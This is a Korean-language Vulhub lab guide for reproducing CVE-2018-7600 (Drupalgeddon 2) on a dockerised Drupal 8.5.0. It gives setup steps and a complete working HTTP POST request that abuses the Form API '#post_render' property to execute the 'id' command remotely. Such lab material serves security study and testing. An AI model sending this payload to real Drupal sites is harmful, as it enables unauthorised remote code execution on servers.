
Vulhub drupal/CVE-2018-7600: Drupal 8.5.0에서의 Drupalgeddon 2, Isoloom으로 실행
Drupal 7.58 이전, 8.x 8.3.9 이전, 8.4.x 8.4.6 이전, 8.5.x 8.5.1 이전 버전에서는 Form API를 포함한 기본 또는 일반적인 모듈 구성에서 여러 하위 시스템에 영향을 미치는 문제로 인해 원격 공격자가 임의 코드를 실행할 수 있습니다.
참고 자료:
다음 명령을 실행하여 취약한 Drupal 8.5.0 환경을 시작합니다:
docker compose up -d
환경이 시작된 후 http://your-ip:8080/을 방문하면 drupal 설치 페이지가 표시됩니다. "standard" 프로필을 사용하여 drupal 설치를 완료하십시오. mysql 환경이 없으므로 설치 시 sqlite 데이터베이스를 선택해야 합니다. 설치가 완료되면 익스플로잇을 시작할 준비가 된 것입니다.
a2u/CVE-2018-7600을 참조하면, 다음과 같은 요청을 drupal에 보낼 수 있습니다:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
코드가 성공적으로 실행되면 id 명령이 실행됩니다:
